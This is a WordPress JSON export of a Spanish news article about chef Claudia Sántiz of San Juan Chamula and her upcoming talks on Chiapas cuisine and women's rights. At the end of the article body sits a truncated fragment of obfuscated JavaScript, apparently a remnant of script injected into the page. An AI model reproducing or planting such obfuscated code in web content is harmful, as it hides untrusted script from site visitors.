{"id":8669,"date":"2023-02-14T04:00:56","date_gmt":"2023-02-14T04:00:56","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=8669"},"modified":"2023-02-14T04:00:57","modified_gmt":"2023-02-14T04:00:57","slug":"chef-chiapaneca-impartira-platicas-y-talleres-en-varias-partes-del-pais","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=8669","title":{"rendered":"Chef chiapaneca impartir\u00e1 pl\u00e1ticas y talleres en varias partes del pa\u00eds"},"content":{"rendered":"\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"819\" height=\"1024\" data-id=\"8670\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/02\/WhatsApp-Image-2023-02-13-at-6.37.39-PM-819x1024.jpeg\" alt=\"\" class=\"wp-image-8670\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/02\/WhatsApp-Image-2023-02-13-at-6.37.39-PM-819x1024.jpeg 819w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/02\/WhatsApp-Image-2023-02-13-at-6.37.39-PM-240x300.jpeg 240w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/02\/WhatsApp-Image-2023-02-13-at-6.37.39-PM-768x960.jpeg 768w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/02\/WhatsApp-Image-2023-02-13-at-6.37.39-PM-1229x1536.jpeg 1229w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2023\/02\/WhatsApp-Image-2023-02-13-at-6.37.39-PM.jpeg 1280w\" sizes=\"auto, (max-width: 819px) 100vw, 819px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>\u00d3scar G\u00f3mez\/Corresponsal<\/p>\n\n\n\n<p>13 de Febrero del 2023. San Crist\u00f3bal de Las Casas.- La chef Claudia S\u00e1ntiz, originaria de San Juan Chamula, dio a conocer que estar\u00e1 impartiendo una serie de cursos, talleres y conferencias en diferentes partes del pa\u00eds, donde compartir\u00e1 temas relacionados con la gastronom\u00eda chiapaneca, sobre el empoderamiento de la mujer y el medio ambiente en relaci\u00f3n a la preparaci\u00f3n de alimentos.<\/p>\n\n\n\n<p>En entrevista, dijo que gracias a su restaurante la contactan frecuentemente para que comparta sus experiencias. Sus pr\u00f3ximas presentaciones ser\u00e1 en este mes en el estado de Colima, donde dar\u00e1 dos pl\u00e1ticas y en marzo, en el Marco del D\u00eda Internacional de la Mujer, en la ciudad de Tijuana, visitar\u00e1 a grupos de Slow Food, e impartir\u00e1 una pl\u00e1tica en una de las universidades sobre temas gastron\u00f3micos.<\/p>\n\n\n\n<p>Al referirse a los usos y costumbres de los pueblos originarios, mencion\u00f3 que son importantes porque son la identidad del pueblo, \u201cpero lamentablemente hay usos y costumbres que hay que quitarlos de tajo, y uno de ellos ver a la mujer como un objeto, que no tiene voz ni voto, ni derecho a decidir.\u201d<\/p>\n\n\n\n<p>\u201cTambi\u00e9n tengo derechos, sue\u00f1os y anhelos para alcanzar a realizar proyectos, naci\u00f3 en m\u00ed una rebeld\u00eda de querer hacer las cosas diferente y sobre todo, que ten\u00eda la capacidad de alcanzar sue\u00f1os y demostrarle a otras mujeres que no hay necesidad de perder la esencia de tus or\u00edgenes, al contrario, a donde voy siempre he dicho que soy una mujer ind\u00edgena\u201d, concluy\u00f3.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>\u00d3scar G\u00f3mez\/Corresponsal 13 de Febrero del 2023. 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